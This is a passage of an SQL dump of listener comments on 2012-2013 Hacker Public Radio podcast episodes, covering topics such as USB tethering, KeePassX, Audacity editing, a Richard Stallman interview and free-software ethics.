permissively licenced software or take the closed version.\r\n\r\nIf this legal right is morally on the up and up can be discussed at a different time...\r\n\r\nThe other points about Big Corporations (TM) fear of GPL software and the viral nature of of the GPL are the product of years of FUD by Microsoft, Apple and other closed source software corporations and the failure of their legal departments to understand the intentions and restrictions of the GPL.\r\n\r\n\r\nYours\r\n\r\ndangerseeker','2017-09-09 07:41:23'),
(481,1065,'2012-09-11 09:26:29','SabreWolfy','Awesome','Awesome tip! :) I knew about using an Android phone as a wireless hotspot (which requires 3G as the uplink), but using USB tethering means the wireless can be used to connect to a wireless hotspot. Posting this while connected via USB tethering, after my attempts to fix my wireless didn\'t work and I lost wireless completely.','2017-09-09 07:41:23'),
(482,1065,'2012-09-11 16:27:53','Ken Fallon','Agreed','We brought two WireLess Less laptops on line at OggCamp using this trick.','2017-09-09 07:41:23'),
(483,1069,'2012-09-12 04:14:28','dw','','Very good content. Nice job Russ','2017-09-09 07:41:23'),
(484,1081,'2012-09-29 11:28:38','Dave Morriss','Thanks Frank','Interesting episode which will make me learn to use the GIMP properly.\r\n\r\nBy the way, I think the insect in your picture is a Hoverfly, not a wasp. These guys are wasp/bee mimics. See https://beespotter.mste.illinois.edu/topics/mimics/','2022-02-14 13:15:42'),
(485,1083,'2012-10-02 10:50:20','Daniel Beecham','Oh the music.','The music is too loud, it\'s in the way. It should probably just go away completely.','2017-09-09 07:41:23'),
(486,1083,'2012-10-25 13:44:12','pokey','','The music is loud enough to be distracting, but not completely so. It\'s a good episode. I\'m not a programmer, so I had to listen twice to follow along. Thanks for a good episode on an interesting topic, sigflup.','2017-09-09 07:41:23'),
(487,1086,'2012-10-01 23:16:29','pokey','Great show!','That was so much fun to listen to. I wish I could have been there. Klaatu is one of my favorite people on Earth, and it was the highlight of my day to hear him get smacked down about the hover fly. :p Bravo! ','2017-09-09 07:41:23'),
(488,1086,'2012-10-11 17:19:30','Krayon','/dev/random\'s Atom feed','pegwole!  Shame on you sir!  /dev/random has had an Atom feed since episode 1:\r\n  https://devrandomshow.org/feed.php?f=atom.xml\r\n\r\nAnd yes, there\'s a link on the main page :P','2022-02-14 13:15:42'),
(489,1091,'2012-10-25 11:53:45','klaatu','great info','Hey, thank you so much for this episode. I have long wanted to beef up my vim installs. It seems, somehow, that emacs so famously does that, and yet no one in the vim world seems to talk about it all that much, so i was really struggling to find the good plugins for vim. \r\n\r\nThis episode was exactly what i needed! thanks!','2017-09-09 07:41:23'),
(490,1092,'2012-10-09 14:02:59','Morten Juhl-Johansen Z&ouml;lde-Fej&eacute;r','Linux in the Ham Shack','May be worth also linking Linux in the Ham Shack podcast:\r\nhttps://lhspodcast.info/','2022-02-14 13:15:42'),
(491,1094,'2013-01-15 02:24:25','nancy','','Hi fiftyonefifty, I was wondering whatever happened to the podbrewers podcast.  Now that you introduced me to it, there haven\'t been any new ones!  Am I the only female who listens to that podcast?','2017-09-09 07:41:23'),
(492,1096,'2012-10-17 01:21:18','Kevin O\'Brien','Another Keepass plus','Keepass is also available as a Portable App at portableapps.com. Just put it in a thumb drive and you can have your passwords with you at all times.','2017-09-09 07:41:23'),
(493,1096,'2012-10-18 23:56:23','Jonathan Kulp','don\'t forget autocomplete','Hi Frank, very nice episode about keepassX. I just started using this about 3 months ago as well. One killer feature you didn\'t mention is autocompletion, doing  Ctrl+Shift+N from inside a login field (or Ctrl+V from inside KeepassX) &amp; having keepassx fill in both fields for you &amp; press enter. It\'s awesome. :)','2017-09-09 07:41:23'),
(494,1096,'2012-10-25 13:37:00','pokey','This sounds great','Good job on the show, and good job describing this software. I really should give this one a try. Thank you, Frank.','2017-09-09 07:41:23'),
(495,1097,'2012-10-17 00:49:27','pokey','Syndicated Thursday Tuesday','It\'s a unique idea, but I like that we\'re trying it. It shows that we aren\'t afraid to take chances.','2017-09-09 07:41:23'),
(496,1098,'2012-10-17 19:51:53','AukonDK','Great first episode!','Very Entertaining.\r\nI had a Spectrum 48k as a child and remember playing Jet Set Willy. My parents tell me a story of how they found me as a toddler, eating cheese from the fridge because they had been too distracted by JSW to feed me.','2017-09-09 07:41:23'),
(497,1098,'2012-10-18 14:20:34','Frank','','This started my day with a smile.','2017-09-09 07:41:23'),
(498,1098,'2012-10-18 16:33:41','Ken Fallon','Top of the Pops','I did just that. Do that now and it\'s copyright infringement. ','2017-09-09 07:41:23'),
(499,1098,'2012-10-19 09:07:11','Les \"Chief\" Pounder','Great show','Well done Becky, this was a very entertaining show. It\'s nice to hear a little back story about people in the Linux community.\r\n\r\nCongratulations on your first solo podcast.\r\n\r\n','2017-09-09 07:41:23'),
(500,1098,'2012-10-25 13:34:44','pokey','Yaaaaaaay, Becky!','We\'ve been waiting on pins and needles for your first show. We all knew you could do it. I\'m thrilled that you know it now too. It was a very good show too - really a lot of fun to listen to. It was one of those shows that had people giving me funny looks, because I was listening to it (and smiling and laughing about it) out in a semi-public place while I worked. Keep \'em coming!','2017-09-09 07:41:23'),
(501,1098,'2012-10-26 09:37:30','Becky Newborough','Thanks everyone','You have all left such nice comments that I may be tempted to record another podcast for your listening pleasure. ','2017-09-09 07:41:23'),
(502,1098,'2012-11-07 17:13:23','pokey','','\"You have all left such nice comments that I may be tempted to record another podcast for your listening pleasure.\"\r\n\r\nThat\'s what we\'re hoping.','2017-09-09 07:41:23'),
(503,1101,'2012-10-23 16:14:15','FiftyOneFifty','','aparanoidshell tells me I likely could have avoided the necessity of taking ownership of volumes by using rsync rather than cp.  Good tip.','2017-09-09 07:41:23'),
(504,1101,'2012-10-23 18:44:27','AukonDK','Good stuff','Nice little episode 5150. I always avoided the encrypted home option for fear of exactly something like this happen. Good to know it is fixable.','2017-09-09 07:41:23'),
(505,1101,'2012-10-25 17:38:15','FiftyOneFifty','','BTW, this one and I believe TermDucken sound odd be cause on my Um hunt and silence removal, I was was too aggressive removing the spaces between words.  I didn\'t hear it playing clips back in Audacity, but it was pronounced when I listened to the whole ep on a mobile player before uploading it. Unfortunately, by that time, I needed to focus on other tasks and let the editing I\'d already done stand.','2017-09-09 07:41:23'),
(506,1101,'2012-11-07 17:16:56','pokey','','FiftyOneFifty, It was a good episode regardless. I didn\'t mean to imply that it made the episode hard to listen to, or hard to understand, just unnatural. The content was very good.','2017-09-09 07:41:23'),
(507,1101,'2012-12-10 15:16:33','LOrd Drachenblut','Full Disk Encryption recovery','on the topic of full disk recovery this has been covered on HPR before https://hackerpublicradio.org/eps.php?id=0447\r\n\r\ncheers','2022-02-14 13:15:43'),
(508,1101,'2013-09-05 11:20:17','bro','','So had almost identical problem. I couldn\'t access the mounted home folder due to access rights. I couldn\'t su into root since I didn\'t have the password. But I could chroot to the current root (on the live distro) which made me root. I am currently copying the files so I will see how it goes','2017-09-09 07:41:23'),
(509,1102,'2012-10-24 13:24:29','Quvmoh','great show!','thank you!','2017-09-09 07:41:23'),
(510,1102,'2012-10-24 23:50:10','Daniele Rossi','Amen brother!','My friend is an avid listener to your podcast told me about this episode. I stutter, too. In fact, I produce a podcast called Stuttering is Cool over at stutteringiscool.com and co-founded Stutter Social using G+ hangouts.\r\n\r\nWould love to have you come on my show some time. \r\n\r\nAnother thing I hate about the misconceptions about stuttering is people who are compelled to finish my sentences. But nothing beats \"Did you forget your name?\"','2017-09-09 07:41:23'),
(511,1102,'2012-10-25 00:05:35','Frank','','Thank you.\r\n\r\nI think your telling this story will undoubtedly encourage others to try to come out of the withdrawal that perceived inadequacies can impose.  \r\n\r\nI knew a guy who could barely read and write, through no fault of his own; I know the energy and effort it took for him to admit it, then to do something about it.\r\n\r\nAny testimony that such can be confronted is valuable.\r\n\r\nYou did good.','2017-09-09 07:41:23'),
(512,1102,'2012-10-25 00:42:50','stutterrockstar','','Love your honesty. It\'s hard dealing with people who don\'t understand stuttering. ','2017-09-09 07:41:23'),
(513,1102,'2012-10-25 13:13:56','pokey','This was a great episode.','I don\'t think I could call this a \"fun\" episode, but it was certainly an important one. You did a good job of covering a difficult and personal topic, and you expressed some ideas in a way that I can  only describe as \"beautiful.\" Well done, Door.','2017-09-09 07:41:23'),
(514,1102,'2012-10-30 16:22:22','AukonDK','Inspirational.','Thank you for sharing this with the world Door. Hearing your story only makes me appreciate your work more.','2017-09-09 07:41:23'),
(515,1103,'2012-10-25 11:52:24','deepgeek','More, Please','Hi, Epicanus,\r\nI, for one, want to hear about your RAID/btrfs experiments!','2017-09-09 07:41:23'),
(516,1103,'2012-10-25 13:24:45','pokey','Fantastic!!!','Wow, what a good job! Without any exaggeration whatsoever, I can say that this episode is well thought out, well executed, thorough, serious, important, technical, political and funny all at the same time. Of our 1103 episodes so far, this one is solidly in the top 20 (perhaps top 10) imo. I wish I could put out an episode this good. Bravo.','2017-09-09 07:41:23'),
(517,1103,'2012-10-26 18:25:20','Epicanis','Et tu, DeepGeek?','\"Hi, Epicanus\"\r\n\r\nDagnabbit - I\'ve had this pseudonym for about two DECADES now, and suddenly in the last year this starts happening.\r\n\r\nI want to once again assure everyone that the exit of my digestive system is entirely unremarkable. There is nothing \"epic\" about it at all!\r\n\r\nThanks for the encouragement - I\'ll put together something on my btrfs experiment and a couple of other topics on my list!','2017-09-09 07:41:23'),
(518,1103,'2012-10-27 13:58:48','Quvmoh','have to comment on two in one week','entertaining and informative, thank you!','2017-09-09 07:41:23'),
(519,1103,'2012-10-30 16:17:47','AukonDK','Fabulous!','Great episode! Feeling pretty inadequate comparing my own efforts to this wonderfully and effortlessly funny performance. However, the message behind it is very encouraging and inspires me to step up my game.','2017-09-09 07:41:23'),
(520,1103,'2012-10-31 11:25:05','JonTheNiceGuy (jon@sprig.gs | show@cchits.net)','A great episode &amp; Media Conversion','Hi Epicanis,\r\n\r\nJust wanted to thank you for producing such an excellent show, which explains this subject so very well.\r\n\r\nI\'d love to discuss this subject with you (and, well, frankly anyone - email addresses are above), but in particular, the media converter project you mention.\r\n\r\nI already have a large chunk of this in my CCHits.net show generator code: https://gitorious.org/cchits-net/website-rewrite/blobs/master/CLI/library.php\r\n\r\nI\'d love to help out, or at the very least, talk about it further!\r\n\r\nAll the best,\r\n\r\nJon \"The Nice Guy\" Spriggs','2022-02-14 13:15:43'),
(521,1103,'2012-10-31 15:24:14','Ken Fallon','Join the dev mail list','Hi Jon/anyone else that wants to help\r\n\r\nPlease join the dev mail list at https://hackerpublicradio.org/mailman/listinfo/dev_hackerpublicradio.org\r\n\r\nKen.','2022-02-14 13:15:43'),
(522,1103,'2012-10-31 21:56:46','Epicanis','Guess I\'d better get to work!...','Quvmoh: Thanks for the encouragement!\r\n\r\nAukonDK: Bear in mind that it took me over a year of labor to make it seem \"effortless\", and in that time you put out *three* episodes, so I don\'t think you\'re doing too bad at all!\r\n\r\nJonTheNiceGuy: Thanks, I\'ll shoot you and email. I\'ve slowed down a bit on the project just because I got it to the \"barely minimally functional\" stage (I can now upload a .wav file, fill in the metadata, and have it fire off the process to successfully generate a .opus file from it, including [I think] \"album art\"). Still a lot to tackle, though. \r\n\r\nI\'m also working on a proposed upload form for HPR submissions that I need to get done, but I\'ll probably post the three topic ideas I have going for my next HPR submissions over at https://hpr.dogphilosophy.net for discussion soon. (I wasn\'t kidding about inviting people to pester me so I don\'t slack off...)\r\n\r\nThanks, all!','2022-02-14 13:15:44'),
(523,1103,'2012-11-06 20:38:16','Epicanis','Metadata in the media files','Regarding checking to see if the files play okay with the metadata I put in them, and how much of the metadata displays in the player that is used, here are my own results so far:\r\n\r\nVLC 2.0.4 (Linux, x86_64), Ogg: Plays fine, shows Artist, Title (no album art)\r\nVLC 2.0.4, mp3: Shows Artist, Title, Album Art\r\n\r\nFirefox 16 (Linux, x86_64) Ogg: Plays fine. No metadata. (No album art)\r\n\r\nJuK, Ogg: plays fine, shows Artist, Title, Album (no Album art)\r\n\r\nAmarok, Ogg: plays fine, shows Artist, Title, Album (no album art)\r\n\r\nDragon Player, Ogg: plays fine, shows Artist, Title, Album (no album art).\r\n\r\n(kid3 shows the album art, so it\'s in there...)\r\n\r\nWill be testing more and reporting later. Thanks!','2017-09-09 07:41:23'),
(524,1103,'2012-11-07 17:07:07','pokey','I\'d love to be a fly on the wall...','Epicanis, and John The Nice Guy: I think listening to the two of you bounce ideas back and forth would make for some great listening! Now, if only there were a place on the internet that the two of you could submit a recording of suck a thing...','2017-09-09 07:41:23'),
(525,1103,'2012-11-08 01:53:56','Epicanis','More metadata testing','I\'m seriously annoyed to find so few players actually bother to decode album art in Ogg Vorbis files, but I finally DID find one...\r\n\r\nNightingale (fork from \"Songbird\" which dropped Linux) actually decodes and displays album art from hpr1103 corrrectly.  Hooray!\r\n\r\nZVUE 250 (hardware mp3/ogg/\"divx\" player from 2006) - plays hpr1103 fine but shows no metadata.\r\n\r\npokey: I\'m not sure if the exchange would be all that interesting to listen to - right now we have several hours to a day or more to consider between replies! I should, however, be including some background on metadata in general in the next episode I do (which should be about geotagging) and in audio files specifically when I get around to doing the followup episode to HPR1103 (probably shortly after the geotagging episode and a shorter/low-priority btrfs one).\r\n\r\n(Also even more about metadata, probably, if I ever get around to doing the topic I\'m currently thinking about after those...)','2017-09-09 07:41:23'),
(526,1103,'2012-11-13 13:39:26','pokey','OOPS!!!','I meant \"such a thing\" not \"suck a thing\"! My dyslexia is getting bad lately. I\'m really sorry I didn\'t catch that while proof reading. ','2017-09-09 07:41:23'),
(527,1103,'2012-12-05 02:27:03','Somewhat Reticent','Test listen cut short','Near-inaudible conversation invaded by full-volume horns results in hostile reaction. Sorry. \r\nI mute some ads on television for the same behavior. ','2017-09-09 07:41:23'),
(528,1103,'2012-12-05 02:39:53','Somewhat Reticent','Thanks for introducing Nightingale','Always good to meet freed software! ','2017-09-09 07:41:23'),
(529,1103,'2012-12-11 21:30:55','dann','playback on sansa clip zip +','the ogg file worked just fine. I did not see any album art, but it did display the information and play without a hiccup.','2017-09-09 07:41:23'),
(530,1103,'2012-12-16 18:27:06','Epicanis','Misplaced comments/Thanks Dann!','Looks like a couple of commenters ended up here instead of on whatever episode they were commenting on?\r\n\r\nThanks for testing, Dann - does the Clip Zip+ show album art for anything (mp3 or otherwise)?\r\n(I know my v1 Clip doesn\'t, and I don\'t think the other tiny Sansa device I have does either).','2017-09-09 07:41:23'),
(531,1108,'2012-11-04 02:52:06','AukonDK','Nice','Nice little ep. I\'m a Rockbox fan myself and it served me well before I got an android phone.','2017-09-09 07:41:23'),
(532,1110,'2012-11-05 13:35:09','pokey','Cool episode','This was really neat. I\'m not a Dr. Who fan (in fact the theramin show opening music form the \'80s used to scare the hell out of me), but when I hear stuff like this, how cool the fans are, I sort of want to be.','2017-09-09 07:41:23'),
(533,1110,'2012-11-05 13:59:30','klaatu','Brilliant episode, thanks','Wow this was so informative, so cool, and to top it off had music created with Zynaddsubfx. Where did this episode come from? what did we do to deserve such greatness?  Thank you!','2017-09-09 07:41:23'),
(534,1111,'2012-11-07 16:56:48','pokey','Another great monthly roundup show.','I enjoy these so much, wehether I\'m on them or not. I did really want to be on this one, but a flu kept me in bed all that day. I\'m really missing being on these.\r\n\r\nFiftyonefifty kicked himself a whole bunch, and I don\'t think he deserved most of his self inflicted punishment. However I owe him one kick: He incorrectly attributed the me with the idea for the New Year\'s Show. It was in fact Ken Fallon\'s idea (and it was a great idea), and it was the HPR community, all together, that pulled it off. From setting up the servers, to providing the audio content, the HPR community did it all. We pulled together and produced an event so good that I don\'t even have enough words to describe what happened here. All I did was volunteer to record it. I would be a fraud if I took any more credit for it than that. \r\n\r\nI am forever thankful to the people of this community for letting me be a part of it.','2017-09-09 07:41:23'),
(535,1113,'2012-11-09 13:42:21','pokey','TermDuckEn','A terminal within a terminal within a terminal... now I get it. Nice one.\r\n\r\nFor all of our sane listeners, I\'ll try to explain it. A TurDuckEn is a revolting exercise in excess where a small hen is stuffed into a duck, and that is stuffed into a turkey for roasting. ','2017-09-09 07:41:23'),
(536,1114,'2012-11-10 12:05:44','Ken Fallon','Part 2 !!!','Hi dude-man\r\n\r\nWhat a fantastic story. I love hearing about this type of stuff and am inclined to agree with you about the farming. Although as a child growing up on a farm, I couldn\'t wait to get away from it. Now my wife has convinced me that slow food is the way to go.\r\n\r\nPlease consider doing some HPR shows on this topic.\r\n\r\nKen.\r\n\r\nWhy hasn\'t the admin put a link to your website and the podcast rss feed. \r\n\r\n@admin -at- hpr \r\n\r\nhttps://dudmanovi.cz/\r\nhttps://feeds.feedburner.com/DudmanoviBlogAboutEverything\r\nhttps://feedproxy.google.com/~r/DudmanoviBlogAboutEverything/~5/RaYoYa6UWx8/Dudmanovi.cz-007-20121007.mp3','2022-02-14 13:16:29'),
(537,1114,'2012-11-13 13:35:49','pokey','Subscribed','I was torn up that you left it at such a cliff hangar (well done and good on ya\').  Now I\'ll have to go subscribe to hear the end of your story. Great episode.','2017-09-09 07:41:23'),
(538,1114,'2012-11-13 18:31:45','AukonDK','Subbed!','Enjoyed this a lot, great to hear the story of a fellow ex-pat living in Europe. Will have to find time to listen to the back catalog.','2017-09-09 07:41:23'),
(539,1114,'2012-12-05 21:42:53','Jill','Thank you','THANKYOU ','2017-09-09 07:41:23'),
(540,1116,'2012-11-12 20:36:38','Vincent','Nice work!','I do enjoy RMS interviews.','2017-09-09 07:41:23'),
(541,1116,'2012-11-13 02:47:24','kt4kb_Jon','hpr1116 :: Interview with Richard Stallman','That was a great interview. I have a better understanding of what Mr. Stallman stands for.... Many thanks! ','2017-09-09 07:41:23'),
(542,1116,'2012-11-13 03:52:15','Quvmoh','great interview','I always suffer for the interviewer when it comes to mr Stallman but you did an awesome job!','2017-09-09 07:41:23'),
(543,1116,'2012-11-13 13:31:34','pokey','Thank you','I love HPR, and I\'m thrilled when you guys enjoy one of my episodes. It means a lot to me that you guys liked it. \r\n\r\nOf course I welcome criticism as well, so if you have any I\'ll try to use it to make my future efforts better.','2017-09-09 07:41:23'),
(544,1116,'2012-11-14 19:51:52','Broam','It was a very happy birthday','I had to mute my mic so quickly once he started singing. I was *howling* with laughter.\r\n\r\nThanks for the present, pokey.','2017-09-09 07:41:23'),
(545,1116,'2012-11-15 19:44:24','Garjola','Great interview','Hey Pokey, that was an impressive work you did there. You were tactful, kind yet you asked very interesting questions on controversial matters.\r\n\r\nAt the end of the interview you said very important and true things that I agree completely on: he is a hero for us and we wouldn\'t be here if he had not initiated the Free Software movement.\r\n\r\nThank you, very, very much for this interview.','2017-09-09 07:41:23'),
(546,1116,'2013-07-25 09:37:23','Jamison','Student','Awesome, Thanks. \r\n\r\nFound it from: https://www.linuxquestions.org/questions/linux-newbie-8/what-is-everyone%27s-opinion-about-the-free-software-foundation-4175470331/','2017-09-09 07:41:23'),
(547,1116,'2013-07-25 10:17:11','Jamison','Student','(Sorry as you can see from my links I edit my posts and should have asked\\mentioned)  Wonder why he dose not program any more? (if you could add this to my thanks^?) :)','2017-09-09 07:41:23'),
(548,1116,'2013-08-03 10:47:06','Josef Donnington','','Superb interview.\r\n\r\nIt enabled me to answer the following questions, that were posted on my blog by a guy called Tony.\r\n\r\n------------------------\r\nTony:\r\n\r\nIf you go to a backery and buy a cake, is it unethical if you don&rsquo;t get the recipe as well?\r\nIf you buy a radio, is it unethical if you don&rsquo;t get the construction plans for it?\r\nIf you buy some software, is it unethical if you don&rsquo;t get the source-code?\r\nIf you buy a processor, is it unethical if you don&rsquo;t get the &ldquo;hardware description language&rdquo;-description of the processor?\r\n\r\nStallman sees it as an ethical issue. Maby he is ultimately right. I simply don&rsquo;t know.\r\nHe&rsquo;s right that sharing is a good thing.\r\nBut is it really an ethical issue whether or not you get some recipe, construction plans or source-code??\r\n\r\n---------------\r\n\r\n\r\nAnalyzing this...\r\n\r\nTony wrote: \"If you go to a backery and buy a cake, is it unethical if you don&rsquo;t get the recipe as well?\"\r\n\r\nThe analogy between recipe and source code, in the way you present it, is flawed.\r\n\r\nLet me explain: the cake is the OUTPUT of the recipe. If a recipe is freedomrespecting (by allowing unrestricted use, modification, and distribution with out without modification), then this does not apply to the OUTPUT, i.e. the cake. Put another way: the cake (output) is not the corresponding source of the recipe-steps performed. (See https://hackerpublicradio.org/eps.php?id=1116 at tracktime 30:58)\r\n\r\nTo fix the analogy. Here\'s an example of a violation of \"freedomrespecting recipes\":\r\nAssume a recipe-seller states: \"all my recipes are freedomrespecting.\" You then decide to purchase from him a recipe-executor-black-box, and a number of recipes on USB-stick. At home you plug in the recipes-USB-stick into the recipe-executor-black-box and select \"Grandma\'s ultraspecial chocolate cake\". The executor-black-box removes some ingredients from the connected ingredients-containers (flour, sugar, chocolate, etc.). You cannot see what\'s going on inside, but after one-and-a-half hours... out comes a cake!\r\nSo you tell yourself: well that\'s great, but I want to bake this cake with my own hands and change the steps slightly. You connect the recipes-USB-stick to your own computer, expecting to find the steps. But low and behold: you find that the \"recipes\" are only in a machine-readable binary format, that you cannot decipher them.\r\nThis is a freedomrespecting recipe violation!!! If the recipes really were free, you would have received not only the binary format, but the steps of the recipe in human-readable english as well!\r\n\r\nNow lets say you have aquired a freedomrespecting recipe for a cake (and here I really mean a free recipe, in that it is not obfuscated or coded; but instead a description of steps). Lets say you have a bakery and sell a customer the cake (baked according to the recipe): do you have to give the customer the recipe?\r\nNo, since the cake is the output. You are not selling the customer the steps to produce the cake.\r\n\r\nBut now you might try and apply this to software and say: \"But look here: the binary program is the output of the source code. So if you pass on the binary program, you don\'t have to pass on the souce code, right?\"\r\nThis would be a misunderstanding, since the program is NOT the output of the source code. Instead: the program is merely the output of a compiler. But the binary program is a direct transformation of the source code: The steps in the program, are still the steps in the source code. We say: the source code is the \"CORRESPONDING SOURCE\" of the program binary.\r\nThus with free software, the software ... in all the forms it is distributed: binary, etc. needs to include the \"corresponding source\", that give one the freedom to modify it.\r\n\r\n\r\nTony wrote: \"If you buy a radio, is it unethical if you don&rsquo;t get the construction plans for it?\"\r\nThis analogy between construction plans and souce code is also flawed.\r\nThe construction plans can be free (freedomrespecting). But the construction plans are not the corresponding source of the radio: The radio does not perform the construction steps. The radio does not have a corresponding source, since it is the output of the construction steps.\r\n\r\n\r\nTony wrote: \"If you buy some software, is it unethical if you don&rsquo;t get the source-code?\"\r\nDepends on your view. You can certainly argue: yes. First off: the steps the program runs, are the steps that are described in the source code. Furthermore: if the program runs on a general purpose computer, then you could easily change it (lets say it is not software that is burned into a ROM for an applianc like a toaster.) Then it is only fitting that you should really be able to make use of this possibility (changing the program on your computer), and that requires a form of the program that is best suited to do that job: the corresponding souce. \r\nOn the other hand: If you have proprietary software, then - even though you are running the software on a device that easily allows changes - the owner of the propriertary software has deliberately decided to make this difficult or illegal for you to do. Then only the owner controls the program, and you might be called a fool for using it.\r\n\r\n\r\nIf you buy a processor, is it unethical if you don&rsquo;t get the &ldquo;hardware description language&rdquo;-description (HDL) of the processor?\r\n\r\nDepends on your intent: do you want to analyze what the processor\'s logic is doing, and then have the possiblity to make changes to the processor and create your own (with the guarantee that your logic will be on the chip [and not some fab\'s back-door logic])? \r\nIf you buy a processor created by a fab with modern photolithography, then you get a chip that you cannot change. In that case you don\'t need the HDL-description. BUT: if you buy the whole fab itself (oh: so you have those billions of dollars?!), then you have the possibility to make changes. In that case you\'d be a fool, if you don\'t insist on getting all steps, and descriptions, etc. for making the processor chip, and being able to change it, for example if the chip happens to have a serious bug! If you cannot fix the chips hardware-bug, you\'ll probably be out of business very soon.\r\n\r\nIf on the other hand you buy a FPGA (not so expensive: say 500 dollars or cheaper), and the processor is synthesized on that FPGA, then you can change the hardware-description (via the HDL) and load the changes onto the FPGA. In that case, you\'d be a fool, if you don\'t get the freedomrespecting HDL-description (e.g. in Verilog or VHDL code), in order to actually do that.\r\n\r\n\r\n\r\n\r\nThe free software definition (of Stallman), applies to the source code and to the binary program. The 2 (source and binary) are linked: the steps in the binary program are the steps in the source code: they are just a transformed version of the same thing. Except that one is easy to change (source code) and the other is incredibly difficult to change (binary program).\r\nThe source code is the corresponding source of the binary program. Free software gives you the freedom to make changes (that you can realistically realize, since that\'s what you can do on general purpose computers), by providing you with the corresponding source.\r\n\r\n','2022-02-14 13:16:29'),
(549,1116,'2013-08-03 11:54:26','Ken Fallon','Josef Donnington - Record this as a show','Hi Josef,\r\n\r\nYou should record this as a show.\r\n\r\nKen.','2017-09-09 07:41:23'),
(550,1116,'2014-02-19 01:56:21','pokey','','Josef Donnington:\r\nI have to say, I agree with Ken on this one. :)\r\n\r\nGarjola, Jamison, Broam, Vincent, Josef, Ken, KrazyTelemarketer, Quvmoh and everyone else: Thank you so much for listening. I was thrilled to have the chance to do the interview, and I\'m so grateful to the HPR community, for building up the reputation of the \"brand\" of HPR. Interviewing RMS was and is so far out of my league that I never would have thought that I could have done it on my own. But doing such a bold thing on behalf of HPR seemed perfectly natural. Obvoiusly doing something on someone\'s behalf also comes with certain responsibilities, like maintaining if not advancing HPR\'s reputation, and I try so hard to do that when I do something bold for HPR. I can\'t thank all you guys enough for your positive feedback. It makes me feel like I succeeded in my responsibilities to HPR while I borrowed the HPR name to do something risky and fun.','2017-09-09 07:41:23'),
(551,1120,'2012-11-23 15:22:15','AukonDK','Sweet!','Tried out Razor-QT earlier in the year but ended up getting some more memory and running KDE. Was going to move to XFCE to make things snappier but certainly gonna check out Razor again.','2017-09-09 07:41:23'),
(552,1120,'2012-11-25 22:37:51','deepgeek','Wish for a all-qt system','I do like the idea of an all-qt system, but IMHO, there are two things holding it back.\r\n\r\n1) email - no lightweight alternative to kmail. There is a heave mysql based client listed at qt-apps.org, and the one listed on the razor-qt site is an imap-only client.\r\n\r\n2) webrowser - needs a lightweight one that can have cookie &amp; javascript whtielisting. A choice between gecko and webkit would be nice, but not imperative.\r\n\r\nPersonally, I can\'t get away from having a \"mixed system.\" Most annoying thing for me is having a different \"file chooser\" dialog box for everything.\r\n\r\n---\r\nDeepGeek','2017-09-09 07:41:23'),
(553,1120,'2012-12-01 18:47:12','Klaatu','Wish for a all-qt system','deepgeek:\r\n1) mutt in a qt-based terminal technically qualifies, right ;-)\r\n\r\n2) arora has been forked to flam. you should check it out. I am not sure about the whitelisting stuff, but it\'s a good qt-based browser.','2017-09-09 07:41:23'),
(554,1121,'2012-11-19 23:33:31','klaatu','In this episode','I continue my Networking Basics series with a SAMBA howto.\r\n\r\nJust thought you should know.','2017-09-09 07:41:23'),
(555,1133,'2012-12-06 16:49:12','pokey','Good idea','I loved the tea break with the HPR promo in the middle. It was a great idea. It reminds me of one of Klaatu\'s coffee breaks on Gnu World Order. I\'m really sorry that it didn\'t execute as well as it was planned.\r\n\r\nI\'m guessing that you did that in audacity, and I\'d bet that either one of two things happened. Just guesses, but:\r\n\r\n1.) you didn\'t unlink the tracks before pasting it in, or\r\n\r\n2.) you used \"truncate silence\" before \"mix and render\" \r\n\r\nThe first thing would be pretty obvious, so it probably wasn\'t that. The second would have removed the silence somewhere off screen if you had been zoomed in enough. If it was neither of those two things, I\'d be really interested to find out what you think caused it.\r\n\r\nFor anyone using audacity, one suggestion is to use the high speed playback and listen to the whole track before your final save and export. If it\'s a track that you edited, then listening to it at 2X is fairly easy to do, even if you aren\'t used to listening to audio at that speed, because you\'re used to listening to that track.','2017-09-09 07:41:23'),
(556,1133,'2012-12-08 17:55:20','Dick Thomas','ooops','yeah, used truncate silence. tbh it was my 1st ever time installing and using audactiy so I was stumbling around lot but I will try harder next time','2017-09-09 07:41:23'),
(557,1133,'2012-12-14 12:56:01','pokey','','Yup. Truncate silence is good, but if you\'re doing multi-track, then you want to truncate the silence in your source tracks before they are combined into the same project, or as the very last thing that you do before exporting, but certainly after \"mix and render.\"\r\n\r\nIt was a good episode regardless. I\'m looking forward to the next one.','2017-09-09 07:41:23'),
(558,1134,'2012-12-08 23:29:06','Lola Lariscy','','Space Janitors is awesome!','2017-09-09 07:41:23'),
(559,1136,'2012-12-11 20:01:31','Heisenbug','Great show','Nice show, and your voice sounds very clear even when sped up to 1.75X (which I listen to your podcast at)','2017-09-09 07:41:23'),
(560,1136,'2012-12-13 18:46:44','pokey','Great stuff','I\'m looking forward to this series. I took a MS Word class back in college... Oh, how wrong it all was!','2017-09-09 07:41:23'),
(561,1137,'2012-12-13 18:43:58','pokey','','OpenStreetMap is a fantastic project, it\'s very easy to get involved. Contrary to popular belief, you don\'t need any special hardware. The online editor overlays the editable, map over satellite imagery so you can basically just trace and label what you see.\r\n\r\nFor people who need a goal in order get started on a project, here are two easy ones which will improve the map tremendously:\r\n\r\n1.) Learn how to label a street as one-way, and correct all the one-ways in your neighborhood.\r\n\r\n2.) Learn how to label a section of road as a bridge, and how to specify that the bridge is higher than what it is intersecting, then label all of the bridges in your town.\r\n\r\nThe first one is easier, and should take you about 5-20 minutes to learn, and maybe an evening to complete. The second one is a little trickier, and may take you an evening to learn (if you don\'t do the first one first), and another evening to complete. Currently, both of these things seem to be a real problem for navigation apps that use OSM data. So correcting either will make a huge difference to someone trying to navigate in your area.','2017-09-09 07:41:23'),
(562,1138,'2012-12-13 17:04:36','cobra2','DUDE!','What an awesome show. Thanks for the show notes and going in depth like that. I love it. Keep it up man.','2017-09-09 07:41:23'),
(563,1138,'2012-12-13 18:18:36','pokey','Nice!!!','You just taught me more about python in 10 minutes than I was able to learn in a week when I tried it on my own. I may have to give it another go.','2017-09-09 07:41:23'),
(564,1142,'2012-12-19 10:00:08','calum','loved the show','loved the show, listened to it on my ipod before i sell iPod to Gadgets but now ive bought an excellant radio so will never miss a show','2017-09-09 07:41:23'),
(565,1144,'2012-12-23 16:45:50','chalkahlom','','enjoyed the cast.\r\nbut no mention of librivox.org hmm!','2017-09-09 07:41:23'),
